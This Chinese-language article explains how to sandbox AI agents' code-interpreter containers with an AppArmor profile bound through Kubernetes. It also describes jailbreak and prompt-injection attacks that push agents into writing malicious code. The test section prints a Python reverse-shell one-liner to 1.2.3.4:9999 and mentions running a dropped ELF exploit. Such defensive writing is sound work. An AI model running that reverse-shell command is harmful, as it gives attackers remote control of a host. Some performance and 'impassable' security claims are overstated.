
在以数据分析、自动化运维脚本执行以及模型代码自主重构为核心功能的多智能体Multi-Agent系统中代码执行解释器Code Interpreter容器是整个集群中最脆弱、最容易遭到外部恶意载荷Payload渗透的攻击面。攻击者可以通过复杂的越狱提示词Jailbreak Prompts或间接注入欺骗模型生成试图遍历挂载卷、向外网可疑 IP 发起长连接反弹 Shell、或是尝试修改容器内敏感系统配置的恶意代码。尽管我们在 Kubernetes 层面配置了只读根文件系统readOnlyRootFilesystem与非 root 用户但如果没有强制访问控制Mandatory Access Control, MAC内核机制的底层兜底面对具备利用内核或特权逃逸的攻击手法时防线依然存在死角。**AppArmorApplication Armor**作为成熟、原生内置于 Linux 内核Ubuntu/Debian 标准的高效 MAC 模块能够在进程级别提供不可逾越的路径与能力安全防线。本文深入剖析基于 AppArmor 安全配置文件Profiles构筑纵深防御沙箱的生产落地实战。1. 强制访问控制 MAC 与 AppArmor 纵深防御拓扑理解 AppArmor 在多 Agent 沙箱中的定位必须分清自主访问控制DAC与强制访问控制MAC的区别graph TD subgraph DAC_Layer[传统自主访问控制 DAC (弱防线)] ProcessUID[容器以 nobody 用户 (UID 65534) 运行] FilePerm[标准 Linux 权限: rwxr-xr-x] ProcessUID --|如果代码通过漏洞提权为 UID 0| SuperUser[root 权限将能修改一切!] end subgraph AppArmor_MAC[AppArmor 强制访问控制 MAC (绝对内核防线)] KernelLSM[Linux 内核 LSM 钩子 (bprm_check, file_open, socket_create)] SecurityProfile[严格受限的 Agent 沙箱专属安全 Profile] KernelLSM --|每次系统调用强制加载规则比对| SecurityProfile SecurityProfile -- 命中未授权文件写入 /etc/ 或网络 socket -- ImmediateKill[内核直接返回 -EACCES 拒绝并强制终止进程!] SecurityProfile -- 仅允许白名单目录与安全管道 -- SafeExecution[放行合法 Python/Shell 计算] end DAC_Layer -.-|提权攻击被内核 MAC 拦截| AppArmor_MAC1.1 AppArmor 相对传统方案的优势基于路径的直观策略定义Path-based Access Control不同于 SELinux 基于复杂上下文标签Context Labels的晦涩语法AppArmor 直接针对具体的文件路径、通配符Globbing与网络协议簇进行声明式白名单定义可读性与可审计性极高极低的系统级性能损耗AppArmor 深度嵌入在 Linux 内核安全模块LSM架构中单次系统调用的规则匹配仅需耗费数个 CPU 纳秒对高频交互的 Agent 容器性能影响小于0.1%强制阻断模式Enforce Mode与学习监控模式Complain Mode解耦允许在上线初期先通过 Complain 模式收集合法行为基线在不阻断业务的前提下精准完善安全规则。2. 生产级 Agent 代码解释器 AppArmor 安全配置文件定制针对承载 Python 代码执行的 Agent 容器我们在宿主机/etc/apparmor.d/containers/agent-strict-sandbox路径下落地严密的生产级配置文件#include tunables/global profile agent-strict-sandbox flags(attach_disconnected,mediate_deleted) { # 引入基础系统调用抽象 #include abstractions/base #include abstractions/python # 1. 权限能力能力Capabilities极限剥夺 # 剥夺所有特权能力严禁任何提权可能 deny capability setuid, deny capability setgid, deny capability sys_admin, deny capability sys_ptrace, deny capability sys_chroot, deny capability net_raw, deny capability net_admin, # 2. 网络协议层严格封锁 # 默认禁止创建任何原始套接字与数据包套接字 deny network raw, deny network packet, # 禁止建立外部 TCP/UDP 连接除非显式指定受信任的模型代理网关 deny network inet, deny network inet6, # 3. 核心敏感目录与设备绝对只读或严禁访问 deny /etc/shadow* rwklx, deny /etc/passwd* wklx, deny /etc/hosts* wklx, deny /proc/sys/** rwklx, deny /sys/** rwklx, deny /dev/mem rwklx, deny /dev/kmem rwklx, # 4. 白名单仅允许读取运行依赖的基础 Python 运行库 /usr/bin/python3* rix, /usr/lib/python3*/** r, /usr/local/lib/python3*/** r, /lib/** r, /usr/lib/** r, # 5. 白名单仅允许在内存临时目录进行受限临时文件创建 /tmp/agent_scratch/** rwk, /tmp/agent_scratch/ mrw, # 拦截任何隐蔽的可执行文件生成与反弹 Shell 尝试 deny /tmp/** x, deny /dev/shm/** x, }配置解析核心亮点deny /tmp/** x禁止在临时目录下执行任何新生成的二进制文件即使攻击者通过大模型下载或用 Python 编译出了恶意 C 语言二进制或木马脚本其在/tmp下的执行权限被内核无情焊死彻底阻断绝大多数自动化后门。3. Kubernetes Pod 声明式绑定 AppArmor 配置文件在 Kubernetes 1.30 现代版本中AppArmor 已正式进入 GA 阶段可以直接在 Pod 的securityContext中原生声明apiVersion: v1 kind: Pod metadata: name: hardened-agent-interpreter namespace: agent-runtime labels: tier: hardened-sandbox spec: # 声明全局应用宿主机加载的 AppArmor 配置文件 securityContext: appArmorProfile: type: Localhost localhostProfile: agent-strict-sandbox containers: - name: code-runner image: registry.internal.corp/sandbox/python-runner:3.11-hardened resources: limits: cpu: 1000m memory: 512Mi requests: cpu: 200m memory: 128Mi securityContext: runAsNonRoot: true runAsUser: 65534 allowPrivilegeEscalation: false readOnlyRootFilesystem: true volumeMounts: - name: scratch-vol mountPath: /tmp/agent_scratch volumes: - name: scratch-vol emptyDir: medium: Memory sizeLimit: 64Mi4. 攻防实测与红蓝对抗拦截实证在上线前的深度渗透测试中安全专家针对加载了agent-strict-sandbox的容器发起了多组高危攻击 PoC外联反弹 Shell 攻击测试攻击指令python3 -c import socket,os,pty;ssocket.socket();s.connect((1.2.3.4,9999));pty.spawn(/bin/sh)内核防御表现AppArmor 拦截点即刻捕获到deny network inet违背socket()系统调用直接返回EACCES (Permission denied)外联尝试在第 1 毫秒内被扼杀在内核层。内存落盘木马执行测试攻击指令在/tmp/agent_scratch/下动态写入编译好的 ELF 提权程序并执行./exploit。内核防御表现触发deny /tmp/** x铁律操作系统直接向子进程发送SIGKILL信号沙箱日志精准记录apparmorDENIED operationexec profileagent-strict-sandbox告警。5. 总结通过深度结合 Linux 内核 AppArmor 强制访问控制与 Kubernetes 声明式安全标准多智能体代码沙箱构筑了一道无法逾越的“深度防御Defense in Depth”长城为多 Agent 执行复杂且不可信的用户自主计算任务提供了国家级工业安全防护底盘。